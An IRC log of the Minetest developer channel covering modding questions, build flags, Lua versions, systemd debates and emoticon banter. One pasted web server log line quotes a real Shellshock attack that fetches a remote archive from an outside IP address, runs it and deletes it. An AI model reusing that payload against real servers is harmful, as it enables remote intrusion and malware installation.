Time Nick Message 00:02 MinetestBot kaeza: 03-19 07:46 UTC ¯\_(ツ)_/¯ 00:06 kaeza greetings 00:06 kaeza <3 MinetestBot 00:06 MinetestBot <3 kaeza 00:08 kaeza for some reason MinetestBot is echoing the messages here and in #-fr 00:08 kaeza sfan5, ^ 00:25 rubenwardy Yay! http://pasteboard.co/2otxy8L2.png 00:28 Obani http://hooooooooo.com/ 00:30 kaadmy >.> 00:34 Obani http://iloveyoulikeafatladylovesapples.com/ 00:34 Obani http://salmonofcapistrano.com/ 00:34 Obani internet 00:35 rom1504 domains are cheap 00:35 kaeza http://nooooooooooooooo.com/ 00:35 Obani http://www.pointerpointer.com/ 00:36 Obani this one is huge 00:36 kaadmy pointerpointer.com is kinda neat actually 00:37 rom1504 wtf is it supposed to do 00:38 Obani point the pointer 00:38 rom1504 oh 00:38 rom1504 why is it that slow 00:39 kaadmy probably loading the images 00:39 rom1504 could just have a list of pictures with finger degrees and give your the correct picture 00:39 rom1504 sending a picture take like 100ms 00:40 kaeza rom1504, I see you're not on my connection... 01:30 MinetestBot 02[git] 04ShadowNinja -> 03minetest/minetest: Clean up Strfnd 139388704 https://git.io/vaXMD (152016-03-19T21:27:57-04:00) 01:30 MinetestBot 02[git] 04ShadowNinja -> 03minetest/minetest: Tweak travis script 13eb7db21 https://git.io/vaXMy (152016-03-19T21:27:57-04:00) 02:05 wilkgr Anybody want a terrible joke? 02:13 Dragonop wilkgr, me 02:14 wilkgr Roses are red, violets are red, trees are red, grass is red - oh wait, my garden is on fire 02:14 Void7 Roses are , violets are , i'm a robot 02:15 Dragonop ROFLOL 02:16 wilkgr :_ 02:16 wilkgr :) 02:16 Dragonop Somehow it's funny when I read it in english 02:16 Dragonop language magic 02:50 rubenwardy My app is going through the review process, and will be here when done: https://play.google.com/store/apps/details?id=com.rubenwardy.minetestmodmanager 02:51 rubenwardy Apparently it'll take an hour and a half 03:30 swift110-phone Hello all 03:30 kaeza o/ 03:31 swift110-phone How are you kaeza? 03:31 kaeza good, you? 03:42 swift110-phone Im great 03:43 swift110-phone I actually have minetest on all of my working laptops 03:43 swift110-phone Its even on my raspberry pi 3 11:16 Fritz2 hello 11:17 Fritz2 how can i compile the "raw" version on minetest? 11:18 Calinou Fritz2, raw version? 11:19 Fritz2 the version that i download from github 11:21 Calinou Fritz2, the README explains it 11:21 Calinou it depends on your operating system 11:23 Fritz2 ok thanks 11:24 Fritz2 bye 11:45 afflatus is it possible to use the ncurses --terminal if running minetest as a daemon? 11:47 afflatus is it documented anywhere 13:31 MinetestBot hoodedice: 09-25 23:54 UTC test 13:32 hoodedice hi ruben 13:32 MinetestBot Jordach: 03-19 07:46 UTC 😒 13:33 Jordach i don't even remember what i sent to Megaf, needs context 13:34 Megaf hm 13:35 Megaf Jordach, you sent me this via bot 13:35 Megaf Megaf: 03-07 17:25 UTC ( ͡° ͜ʖ ͡°) 13:35 Jordach oh 13:35 Jordach right 13:36 Jordach ooooo 13:36 Jordach Blender 2.77 13:36 Megaf now, I don't even remember what I said or what we were talking about 13:37 Jordach http://irc.minetest.ru/minetest/2016-03-07#i_4551775 13:37 Megaf I have Blender 2.76 available here 13:38 Megaf Jordach, I see 13:38 Jordach the steam client has blender from the foundation as an installable for Win, OS X and linux 13:38 Jordach with complete autoupdates 13:39 Megaf cool 13:39 Megaf I wish I could use AMDGPU driver here 13:39 Megaf it does support my GPU, but only if it's installer in other CPU 13:39 Jordach wish i could have a GTX 970 13:39 Megaf installed* 13:39 Jordach and a Vive 13:41 Jordach i'd go AMD if blender properly did OpenCL 13:41 Jordach instead of half-assing it 13:43 Megaf that's cool http://store.steampowered.com/app/365670/ 13:43 Megaf !title 13:43 MinetestBot Megaf: Blender on Steam 13:44 Jordach plus it tracks my hours of blender 13:54 Fixer MinetestBot, ( ͡° ͜ʖ ͡°) 14:01 MinetestBot PilzAdam: 12-12 11:59 UTC my server auto redirects to https:// automatically now http://i.imgur.com/eecQikV.png 14:04 Krock \o/ it works 15:40 heavygale hey there,... looks like the shared doors of landrush mod are not compatible with the latest doors-mod from minetest_game - is there a easy way to hix that? 15:41 heavygale https://github.com/Bremaweb/landrush/blob/master/shared_door.lua#L38 15:41 heavygale attempt to index field 'landrush:shared_door_b_1' (a nil value) 16:12 Fixer heavygale, maybe sofar can help you, he did new doors *cough* 16:15 heavygale i could comment these lines out,... with the effect that shared doors become normal wodden doors 16:16 heavygale but that could only be a workaround 16:16 heavygale as some people on my server use the shared_doors :P 16:17 sfan5 !server players:most 16:17 MinetestBot sfan5: just test | 87.110.8.195 | Clients: 25/78, 21/33 | Version: 0.4.13-dev / minetest | Ping: 46ms 16:17 sfan5 !tell kaeza most likely a race condition ¯\_(ツ)_/¯ 16:17 MinetestBot sfan5: yeah, sure, whatever 16:17 MinetestBot sfan5: yeah, sure, whatever 16:20 Megaf so, I've been doing some tests here with Minetest 16:20 Megaf and the bottleneck is the CPU, not the GPU 16:21 Megaf it will keep at least one core at 70% and other core at least at 30% 16:21 Megaf and the GPU use will be like, 28% 16:21 Megaf shaders and shaders option dont affect GPU use, it does affects the CPU use quite a lot 16:22 Megaf that is when playing on a server, so there's not much to be processed locally 16:22 Megaf quite interesting, isn't it? 16:23 Megaf sfan5, ^ 16:24 sfan5 ¯\_(ツ)_/¯ 16:24 sfan5 it's not new that Minetest uses quite much CPU 16:26 Fixer sfan5, where did you get the ¯\_(ツ)_/¯ ? 16:26 sfan5 on the internet 16:27 Fixer sfan5, you paste it or type it manually? 16:28 sfan5 automatic replace feature from hexchat 16:28 sfan5 i just type :sh​r: 16:29 sfan5 i also have ( ͡° ͜ʖ ͡°) ಠ_ಠ （╯°□°）╯︵ ┻━┻ ┻━┻ ︵╰（°□°）╯︵ ┻━┻ ✔ ✘ (•_•) ( •_•)>⌐■-■ (⌐■_■) (ノಠ益ಠ)ノ彡┻━┻ ಠ▃ಠ (ಠʖಠ) ರ_ರ (◔ ◡ ◔) and ＴＲＩＧＧＥＲＥＤ 16:30 Megaf (╯°□°)╯︵ ʞooqǝɔɐℲ 16:30 Megaf sfan5, ^ 16:31 Megaf ԅ(≖‿≖ԅ) 16:31 sfan5 where did you get that upside-down o 16:31 Megaf lol 16:31 Megaf may favourite is this sequence. 16:31 Megaf (╯°□°）╯︵ ┻━┻ 16:31 Megaf ノ┬─┬ノ ︵ ( \o°o)\ 16:31 Megaf ┬──┬◡ﾉ(° -°ﾉ) 16:33 Megaf \(._.\) ƪ(‘-’ ƪ)(ʃ ‘-’)ʃ (/._.)/ 16:34 Krock seems to be related to minetest. 16:35 Megaf (null) 16:35 Megaf FAIL 16:35 Megaf 😊 16:35 Megaf 😐 16:35 Megaf there 16:37 sfan5 needs more polandball http://i.imgur.com/g5ussEo.png 16:39 rubenwardy :shr: 16:42 Fixer o_0 16:43 Fixer ＴＲＩＧＧＥＲＥＤ 16:43 Fixer hmm 16:43 Megaf ＴＲＩＧＧＥＲＥＤ 16:44 Fixer bold 16:51 hoodedice dude 16:51 hoodedice the word triggered triggers me 16:52 sfan5 ＴＲＩＧＧＥＲＥＤ 16:53 hoodedice TRIGGER RED 16:53 hoodedice !g triggered 16:53 MinetestBot hoodedice: http://www.urbandictionary.com/define.php?term=Triggered 16:53 hoodedice " The mating call of a landwhale as it submerges from the patriarchy. " 16:53 sfan5 ＴＲＩＧＧＥ04ＲＥＤ 16:53 sfan5 better? 16:53 hoodedice no 16:53 hoodedice nothing is better as long as patriarchy. 16:54 attackhelicopter https://www.reddit.com/r/copypasta/comments/2c4mfv/i_sexually_identify_as_an_attack_helicopter/ 17:02 Megaf T R I G G E 4 RED 17:02 Megaf T R I G G E4 RED 17:02 Megaf T R I G G E2 BLUE 17:02 sfan5 unicode has wide letters 17:03 Megaf 1BLACK2BLUE3GREEN4RED5IDONTKNOW6GREY?7AMBER8YELLOW9LIME 17:04 Megaf 05BROWN 17:05 attackhelicopter !rainbow what is this magic 17:05 MinetestBot 4wha7t i8s t3his12 ma6gic 17:05 Jordach I HEARD THERE WAS A PARTY 17:05 Jordach (｡◕‿‿◕｡) 17:07 CWz 02I wonder what this party is for 17:08 Megaf !rainbow party? 17:08 MinetestBot 4pa7rt8y? 17:10 Jordach !rainbow (｡◕‿‿◕｡) 17:10 MinetestBot 4(｡7◕‿8‿◕3｡) 17:10 Jordach !rainbow ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°) 17:10 MinetestBot 4( ͡°7 ͜ʖ 8͡°) 3( ͡°12 ͜ʖ 6͡°) 13( ͡°4 ͜ʖ 7͡°) 8( ͡°3 ͜ʖ 12͡°) 17:10 Megaf !rainbow (~‾▿‾)~ ヽ(ﾟｰﾟ)ﾉ (~’.')~ ヾ(-_- )ゞ （〜^∇^)〜 ヽ(ﾟｰﾟ)ﾉ (~‾⌣‾)~ ヽ(°◇° )ノ \(._.\) ƪ(‘-’ ƪ)(ʃ ‘-’)ʃ (/._.)/ 17:10 MinetestBot 4(~‾▿7‾)~ 8ヽ(ﾟｰ3ﾟ)ﾉ 12 (~6’.')13~ ヾ(4-_- 7)ゞ 8 （3〜^∇^12)〜 ヽ6(ﾟｰﾟ13)ﾉ 4 (~‾7⌣‾)~8 ヽ(°3◇° )12ノ 6\(._13.\) 4ƪ(‘-7’ ƪ)8(ʃ ‘3-’)ʃ12 (/.6_.)/ 17:10 * CWz Whistles while walking away casually. 17:10 Fixer !rainbow omg 17:10 MinetestBot 4o7m8g 17:11 Megaf !rainbow └(^o^ )Ｘ( ^o^)┘ 17:11 MinetestBot 4└(^7o^ 8)Ｘ(3 ^o12^)┘ 17:11 Megaf http://upli.st/l/list-of-all-ascii-emoticons 17:11 Megaf !title 17:11 MinetestBot Megaf: List of All ASCII Emoticons - uplist 17:13 Megaf (∩｀-´)⊃━☆ﾟ.*･｡ﾟ (⊙_☉) 17:13 Megaf !title 17:13 MinetestBot Megaf: List of All ASCII Emoticons - uplist 17:17 Fixer horri(y)fi(y)ing 17:20 attackhelicopter ... 17:24 sfan5 !rainbow horri(y)fi(y)ing 17:24 MinetestBot 4hor7ri(8y)f3i(y12)in6g 17:24 sfan5 ^ Fixer 17:33 rubenwardy Everyone, check that your mods are all green here: http://app-mtmm.rubenwardy.com/ 17:33 rubenwardy That the database powering the android mod manager 17:36 sfan5 why don't you just use the official mmdb? 17:36 sfan5 /s 17:36 rubenwardy there is no official mmdb 17:36 rubenwardy !title https://forum.minetest.net/mmdb/ 17:36 MinetestBot HTTP error 404 17:37 sfan5 did you miss the /s? 17:39 rubenwardy what does /s mean? 17:40 sfan5 sarcasm 17:40 rubenwardy oh, okay 17:40 sfan5 http://www.urbandictionary.com/define.php?term=%2Fs 17:53 hoodedice sorry ruben, sfan5 is all memes now, blame jordach 17:53 sfan5 yes 17:53 Jordach meeeeems 17:53 Jordach they are the best 18:08 Megaf_ !rainbow This Is a Test 18:08 MinetestBot 4Thi7s I8s a3 Te12st 18:09 Megaf_ do /ctcp Megaf_ version 18:09 Megaf_ :) 18:09 hoodedice !py c 1 + 1 18:11 Megaf_ !v 18:11 Megaf_ !voice 18:11 hoodedice !slap Megaf_ 18:15 FatalNIX Hey guys! 18:16 FatalNIX I'm new to the whole minetest world and I am just wondering about some things 18:16 FatalNIX is minetest a tick based game? 18:16 * Sokomine is still trying to figure out a good way how to handle doors when placing a schematic/we file that had the old ones 18:16 Sokomine what do you consider tick based? there are some things that happen while time passes, but it's generally not a problem for the character... 18:16 sfan5 hoodedice: try !c instead 18:17 hoodedice !c 'works' 18:17 MinetestBot 'works' 18:18 FatalNIX well a tick based game is sort of like a tick based OS' program scheduler (but most of them have left that dark era). I was just curious if minetest was more event based or something else 18:18 rubenwardy there are delta time steps 18:18 rubenwardy it's more complicated than that, though 18:19 rubenwardy as you have server and client 18:19 FatalNIX somebody told me that modding is much more fun and one of the limiting hatreds I have about Minecraft is that it is a tick based game, it really makes it difficult to do some things. I was hoping I'd have a lot more fun here 18:19 FatalNIX (it's only -one- thing that drove me nuts) 18:19 rubenwardy I don't really know what you mean 18:20 rubenwardy Games are either fixed time steps or variable time steps. We use the latter, afaik. Actions such as movement are timesed by a delta time 18:20 rubenwardy pos.x += vel.x * dtime 18:20 Sokomine_ accidently closed the window 18:20 rubenwardy Mod wise, you register callbacks such as register_on_punchnode 18:20 hoodedice MT is easier to get into wrt modding 18:21 Sokomine_ hm. or still there? 18:21 Fixer wb Sokomine_ 18:21 hoodedice Sokomine, you use webchat? 18:21 Sokomine_ no 18:21 rubenwardy but the server still performs discrete steps to update the world. register_global_step 18:22 rubenwardy Sokomine_: http://app-mtmm.rubenwardy.com/status/?a=sokomine 18:22 Sokomine_ rubenwardy: yes, thanks. useful for checking if all mods are where they belong to :-) 18:22 Sokomine_ my main account hasn't left yet. so it's probably still around somewhere here? 18:22 rubenwardy oh 18:22 FatalNIX hoodedice: what is wrt? 18:23 hoodedice sorry, math notation for "with relation to" 18:23 Sokomine hah! the window was just hidden somehow 18:24 Sokomine sorry for bothering you all with the _ account. was just an accident with this window here 18:26 FatalNIX wow minetest is pretty neat 18:29 hoodedice yeah, you should try playing an older version, like 0.4.3 and compare it to current git build 18:31 LNJ Is there a LUA function for getting the minetest version? 18:32 est31 LNJ, this is not intended 18:33 est31 you should find other ways to test whether a feature is available 18:33 est31 e.g. if you test for an API function you can do if minetest.api_function_name 18:33 LNJ okay... 18:34 FatalNIX yay I found pumba 18:34 FatalNIX Now how long has this project been around? 18:34 LNJ I want to use the ndt connected drawtype 18:35 sfan5 FatalNIX: 2011 18:38 LNJ http://pastebin.com/c2wJjWYq like this here 18:39 heavygale ah, just looked through the github-network and found a fork which already fixed the doors problem :) https://github.com/FozLand/landrush/commit/096b39518241e594d14e4c73063b766e47600968 18:40 hoodedice est31, won't pointing to the lua_api.txt be better? 18:41 hoodedice https://github.com/minetest/minetest/blob/master/doc/lua_api.txt 18:41 LNJ When comes a new minetest version out? :D 18:41 Fixer soon 18:41 FatalNIX so from my understanding.. lua mods aren't sandboxed are they? 18:42 sfan5 nope, not sandboxed 18:42 est31 FatalNIX, not by default 18:42 FatalNIX aha 18:42 est31 you can turn it on if you want 18:42 est31 its a setting 18:42 FatalNIX right 18:42 FatalNIX but that's actually good, that means you can do some really really insane stuff 18:42 FatalNIX which, could be bad, but can be super awesome 18:44 FatalNIX I think I'll have a lot of fun hacking up some lua on minetest then :D 18:45 sfan5 you probably will 18:45 FatalNIX I downloaded this book I found on the wiki and it's pretty neat 18:46 est31 the rubenwardy book? 18:46 est31 its cool yeah 18:46 FatalNIX I think so 18:46 FatalNIX how is modding with servers? 18:46 FatalNIX a nightmare? 18:46 Calinou easy? 18:46 FatalNIX i would think so 18:46 Calinou client downloads the media 18:46 FatalNIX Oh wow 18:46 Calinou mods run server-side, client doesn't run any code 18:46 FatalNIX it has an auto downloader thing cool 18:47 Calinou (no risk of security issues on clients) 18:47 Calinou yes but it's slow 18:47 FatalNIX so that makes it super easy to make mods that are more like server plugins 18:47 Calinou you might want to use remote_media + a Web server to speed it up 18:47 Calinou but even then it'll remain slower than implementations you can find in eg. ioquake3 18:47 FatalNIX hmm 18:47 sfan5 are you seriously compating ioquake3 and minetest? 18:47 FatalNIX that's actually kind of nice that it is server side though because it's kind of an anti cheat measure 18:47 Calinou sfan5, yes, the former can download at the full line speed :) 18:48 Calinou the latter doesn't even tell you about download speed, but nethogs tells me it is slower 18:48 FatalNIX so if no code runs on the client side, then how do client specific things work.. 18:48 Calinou FatalNIX, not really, it's really easy to cheat in Minetest 18:48 FatalNIX like playing a sound only a client can hear 18:48 Calinou including flying/noclip/no fall damage/no drown damage 18:48 sfan5 it downloads the media 18:48 FatalNIX I see 18:48 Calinou client-specific sounds are possible, it's defined in the API 18:48 sfan5 and plays it if the server says so 18:49 FatalNIX I see 18:50 FatalNIX wow, minetest runs so fast 18:50 Calinou yes, with VBO patch that was recently merged, it does 18:53 CWz um seems someone is attaching server to this channel instead of on inchra 18:53 CWz or on it's own freenode channel 18:54 LNJ I like Wasteland! 18:58 Megaf Calinou, what changed with the patch? 18:58 hoodedice hello Calinou 18:58 Calinou Minetest rendering uses VBO (Vertex Buffer Objects) 18:58 Calinou hi hoodedice 18:59 Wasteland *** IHateMC joined the game 19:00 sfan5 k 19:00 sfan5 !quiet *@static.52.118.46.78.clients.your-server.de 19:00 sfan5 !mute *@static.52.118.46.78.clients.your-server.de 19:01 Megaf how do I tell cmake where sqlite is? 19:01 hoodedice sfan lol 19:01 LNJ sfan5 maybe the other server too? 19:01 sfan5 that covers both 19:02 LNJ ah same ip 19:02 Megaf -DSQLITE3_LIBRARY=/boot/system/develop/lib/x86/libsqlite3.ao 19:02 Megaf like that? 19:03 hoodedice SQLITE3_INCLUDE_DIR - Directory that contains sqlite3.h 19:03 sfan5 Megaf: yes that looks correct https://github.com/minetest/minetest/blob/master/cmake/Modules/FindSQLite3.cmake 19:04 * hoodedice eats some humble pie 19:04 * Calinou eats some pinkie pie 19:04 hoodedice sfan5, quick 19:04 hoodedice we have a brony infestation 19:04 hoodedice kill it with fire 19:05 * sfan5 sets Calinou on fire 19:05 * Megaf splashes a bucket of water in Calinou 19:05 Megaf if that makes sense 19:06 * nm0i mews 19:07 * sfan5 meows and rolls around 19:08 FatalNIX hmm. is this lua 5.1,2, or 3? 19:08 * hoodedice passes a link to visual studio code 19:08 hoodedice http://code.visualstudio.com 19:08 sfan5 5.1 iirc 19:08 FatalNIX :( 19:09 FatalNIX not a big deal I guess 19:09 Calinou we rely on LuaJIT (optional) 19:09 Calinou so we can't use 5.2/5.3 features 19:09 FatalNIX I've just been getting fond of 5.2 lately 19:09 FatalNIX oh.. ouch 19:10 Calinou hoodedice, http://code.visualstudio.com/License/ 19:10 FatalNIX wait what? how is that optional? 19:10 Calinou I thought they switched to MIT license? 19:10 FatalNIX if you rely on it 19:10 Calinou FatalNIX, LuaJIT is optional. 19:10 Megaf anyone compiling Minetest with clang by the way? 19:10 hoodedice IIRC, it is restrictive 19:10 nm0i Megaf: i did once. 19:10 Calinou but if you were to use a 5.2/5.3 feature in Minetest, and a LuaJIT user stumbles upon it… they'd choke on it 19:10 Calinou this is why we use 5.1 19:10 Calinou LuaJIT is not going to update above 5.1 19:10 FatalNIX oh I see 19:11 * LNJ has only Lua 5.2.4 19:11 hoodedice Calinou OMG I just say this line: " 19:11 hoodedice TIME-SENSITIVE SOFTWARE. The software will stop running on 31/12/2016 (day/month/year). You will not receive any other notice. You may not be able to access data used with the software when it stops running." 19:11 Megaf cmake ../ -DBUILD_CLIENT=0 -DENABLE_SOUND=0 -DUSE_FREETYPE=0 -DENABLE_FREETYPE=0 -DENALBE_LEVELDB=0 -DENABLE_CURL=0 -DENABLE_REDIS=0 -DENABLE_SPATIAL=0 -DENABLE_CURSES=0 -DBUILD_SERVER=1 -DSQLITE3_LIBRARY=/boot/system/develop/lib/x86/libsqlite3.a -DIRRLICHT_SOURCE_DIR=/boot/home/Downloads/irrlicht-1.8.3/ 19:11 Megaf This should work 19:11 FatalNIX apparently luajit works with 5.2... 19:11 hoodedice this is hilarious. Way to go MS, way to self-destruct your own notepad clone 19:11 FatalNIX according to http://luajit.org/extensions.html 19:12 FatalNIX to some extent 19:12 FatalNIX okay, some some of 5.2s features should work then 19:12 FatalNIX I would think 19:13 sfan5 Megaf: why is your home folder on your /boot? 19:13 Megaf sfan5 ctcp version me and you will understand 19:13 FatalNIX oh it has to be compiled into luajit though 19:14 hoodedice okay, Calinou, I think the open source blob you download and compile from github is MIT, but the pre-compiled stuff from the official website is MS-licensed 19:15 Calinou okay, that'll make me not even consider it, I'll keep using Atom :p 19:15 sfan5 wat 19:15 hoodedice here https://github.com/Microsoft/vscode/issues/60#issuecomment-161792005 19:15 FatalNIX Though since all lua mods run on the server side only, then does that mean that I can safely use C bindings to Lua on my server? 19:15 hoodedice atom was nice till I found this, which is an improvement IMO in loading times and large file handling 19:16 sfan5 yes 19:16 sfan5 you can even run python mods on your server if you can get that to work somehow 19:16 sfan5 won't matter for the client 19:16 Calinou run QuakeC mods! 19:16 FatalNIX LOL 19:16 FatalNIX I'm actually a Perl programmer 19:16 sfan5 Perl it is then 19:16 FatalNIX I hate python technically.. 19:17 * LNJ likes python!! 19:17 FatalNIX but it seems like for the most part the lua api is good enough that you'd rarely need anything else 19:18 hoodedice > hate python 19:18 * hoodedice puts on the judging glasses 19:19 sfan5 hoodedice have you ever installed gentoo 19:19 hoodedice no 19:19 sfan5 me neither 19:19 hoodedice ok 19:19 LNJ sfan5 have you ever installed archlinux? 19:20 sfan5 yes, three times 19:20 * FatalNIX avoids arch at all costs now 19:20 sfan5 actually more 19:20 FatalNIX it used to be great, and then systemd broke it 19:20 LNJ okay, I don't 19:20 FatalNIX :P 19:20 sfan5 systemd works fine for me 19:20 sfan5 no more shitty init scripts 19:20 LNJ I'm using debian 19:20 hoodedice I'm using debian 19:21 LNJ so I have systemd too 19:21 est31 systemd is good for freedom 19:21 hoodedice (with xubuntu on top) 19:21 * FatalNIX is a FreeBSD user, but this laptop runs Slackware 19:21 sfan5 !py __import__("os").popen("cat /etc/os-release").read() 19:21 MinetestBot 'NAME="Ubuntu"\nVERSION="14.04.4 LTS, Trusty Tahr"\nID=ubuntu\nID_LIKE=debian\nPRETTY_NAME="Ubuntu 14.04.4 LTS"\nVERSION_ID="14.04"\nHOME_URL="http://www.ubuntu.com/"\nSUPPORT_URL="http://help.ubuntu.com/"\nBUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"\n' 19:21 hoodedice (so it is actually xubuntu) 19:21 est31 it disallows many BSD licensed libcs 19:21 est31 only allows truly freely licensed glibc 19:21 FatalNIX I prefer to just have my collection of scripts in /etc/rc.d 19:21 FatalNIX makes it easy 19:22 est31 systemd still allows having scripts AFAIK 19:22 FatalNIX yes 19:22 FatalNIX but I'd rather not have it in my way 19:22 est31 you just dont _have_ to use them 19:22 FatalNIX XD 19:22 sfan5 in your way? 19:22 sfan5 you prefer writing a huge script instead of small unit file? 19:22 FatalNIX yep. 19:23 sfan5 !py __import__("os").popen("cat /etc/init.d/serverlist | ~/sprunge").read() 19:23 MinetestBot 'http://sprunge.us/hAUb\n' 19:23 sfan5 ^ i don't like writing long scripts like those 19:23 sfan5 "long" 19:23 sfan5 but still way too much stuff that's not actually about the program i want to start 19:23 hoodedice sorry not sorry https://www.youtube.com/watch?v=93Cqq0qNm2M 19:24 FatalNIX sfan5: most of the time they don't have to be any more than 10 to 20 lines 19:24 FatalNIX it depends on the software 19:25 FatalNIX some of my init scripts are < 10 lines 19:25 FatalNIX some of them are 100 19:25 FatalNIX most of them aren't any longer than 25 19:25 sfan5 obviously it depends 19:25 sfan5 i still find systemd unit files way easier 19:25 FatalNIX heh 19:26 LNJ Has anyone telegram here? 19:26 heavygale https://max.bk.tl/default_fence.png anybody an idea what's wrong with my default fences? 19:26 FatalNIX I'm also kind of mad about the whole "mount efi firmware as rw" crap. that should be shadowed and protected with a rw enable bit or something 19:27 LNJ heavygale thats only a screenshot please post the code (not in irc) 19:27 sfan5 that's not systemd fault tho 19:27 FatalNIX no it's noot 19:27 FatalNIX but 19:28 heavygale LNJ: I updatest to the latest minetest_game a few hours ago 19:28 LNJ ah ok 19:28 LNJ have you the latest dev of minetest? 19:28 LNJ they have a new drawtype 19:28 heavygale i'll update my client 19:29 LNJ (NDT_CONNECTED) 19:29 heavygale indeed 19:29 heavygale latest client fixed it 19:29 heavygale nevermind :D 19:31 FatalNIX whew 19:31 FatalNIX battery died 19:35 FatalNIX wut 19:35 FatalNIX there anything tricky I gotta do to get a server running with minetest --server ? the wiki seems outdated 19:37 swift110 hey all 19:38 FatalNIX apparently I have to download a subgame 19:39 LNJ you can use: minetest --server --world /path/to/world --config /path/to/minetest.conf --logfile /path/to/debug.log 19:51 LNJ What is about the 0.5 doesn't it should be already released 19:52 hoodedice 0.5 will be a huge rewrite, breaking a lot of things 19:52 Calinou we should just release a 1.0 and shut up :| 19:52 hoodedice next version will be a continuation of 0.4. 19:52 LNJ ah ok 19:52 FatalNIX LNJ: you say that but it's more complex than that 19:52 FatalNIX I need top supply a valid gamespec 19:54 est31 people say 0.5 should break things 19:54 est31 imo we shouldnt do that 19:54 est31 not worth it 19:54 est31 except we really change the basic architecture 19:54 est31 but i doubt we will get ever consensus for that 19:55 est31 its better done as separate project 19:55 FatalNIX I would like to see periodic tiling support for textures 19:55 FatalNIX at some point 19:55 FatalNIX because my eyes went nuts lol 19:57 sofar let's switch to v3s32 and break everything 19:58 Out`Of`Control no 19:58 sofar yes! 19:58 Out`Of`Control lets change bit by bit, small steps 19:58 sofar can't ever change in small steps to a larger world 19:59 rubenwardy A larger world would be nice, as well as a more utilised vertical world 20:00 rubenwardy Lol, someone tried to hack my server 20:00 rubenwardy "GET /cgi-bin/status HTTP/1.1" 404 151 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://185.106.92.143/asd.tar -O /tmp/asd.tar;curl -O /tmp/asd.tar http://185.106.92.143/asd.tar ; perl /tmp/asd.tar; rm -fr /tmp/asd.tar;rm -rf /tmp/asd.*\x22);'" 20:00 sofar plus it would give us potentially more bits for param1 and param2 20:01 sofar since packing it to 128bit would make sense 20:04 est31 also perhaps we should think on compressing more mapblocks together into the map 20:04 est31 dunno bout param1/2 20:04 sofar well if xyz is 32bit, then that's 3x32 bits. It wouldn't make any sense to keep p1/p2 at 16 bits 20:04 sofar that gives a 112bit aligned node 20:05 sofar wait, nvm, I'm confused 20:05 sofar nodes are (type, p1, p2) 20:05 sofar that wouldn't change 20:06 est31 ermm no 20:07 est31 nodes are stored in mapblocks 20:08 heavygale wow, the lastest client version sucks... everytime i want to type a command there is a space in front of the slash insertet automatically 20:08 est31 heavygale, ? 20:08 sofar heavygale: file a bug if you're offended 20:08 heavygale sure,.. so it's not on purpose?! 20:09 est31 i dont think so 20:09 est31 which way did you open the console 20:09 heavygale T 20:09 est31 and on which commit are you 20:09 heavygale but with the latest version it's this new console like chat-window 20:10 heavygale https://github.com/krondor-game/minetest/releases/tag/latest 20:21 Out`Of`Control is there a mod that block flood? 20:23 kahrl heavygale: might be a problem with that fork 20:24 kahrl heavygale: I can't reproduce it in official HEAD 20:24 kaeza o/ 20:24 rubenwardy https://github.com/minetest/minetest/issues/3880 20:24 rubenwardy !title 20:24 MinetestBot rubenwardy: commands do not work on mac · Issue #3880 · minetest/minetest · GitHub 20:24 rubenwardy Hi kaeza 20:24 kaeza rubenwardy, http://app-mtmm.rubenwardy.com/ <-- colors are awful in search results 20:24 kaeza <-- colorblind 20:25 rubenwardy lol 20:25 kaeza which ones are green and which ones are red? :( 20:25 rubenwardy can you read it? 20:25 Out`Of`Control hi kaeza 20:25 rubenwardy green = added, red = everything else 20:27 Calinou http://app-mtmm.rubenwardy.com/status/?a=Calinou 20:27 Calinou :| 20:27 kaeza rubenwardy, that particular shade of green is ard on the eyes 20:27 kaeza +h 20:27 Sokomine probably doesn't help if the colors cannot be distinguished visually. you might add a text field somewhere that contains the information provided in the color 20:28 rubenwardy It's #353 currently 20:28 kaeza green should be a lot brighter IMHO 20:28 rubenwardy If the mod was added, it's green. If the mod was not added, it's red. Is "added" not enough? 20:30 rubenwardy Give me colours to try, if you want. Currently #533 #353 and #222 for background, #ccc for link, #aaa for normal text 20:32 rubenwardy found a plugin to test colour blindness, it's pretty bad 20:35 hoodedice #1ce 20:36 kaeza 00d3d1ce 20:36 hoodedice > not even proper hex 20:37 kaeza what 20:40 kaeza rubenwardy, #383 and #833 work for me 20:40 rubenwardy I choose these in the end: http://app-mtmm.rubenwardy.com/status/?a=kaeza 20:40 rubenwardy should I still do 383 etc? 20:45 kaeza http://i.imgur.com/v07xLle.png <-- #383 and #833 20:52 kaeza another possibility is add icons to the rows (checkmark for "OK", cross for "Error") 20:54 kaeza and the a { color: #0be; } is quite out of place IMHO 20:54 kaeza or, well, I mean for the

20:57 * kaeza goes back under his rock 21:33 * Fixer lifts the rock 22:04 lambda-11235 Will //save save to your computer or the server? 22:05 red-001 server? 22:05 red-001 is that a World Edit command? 22:05 sofar double // 22:05 sofar likely 22:05 lambda-11235 red-001: Yes. 22:05 sofar lambda-11235: worldedit saves on the server 22:05 sofar mods can't save on the client 22:28 angelo1123_ hey guys 22:30 angelo1123_ whos online 22:31 red-001 not me 22:31 angelo1123_ lol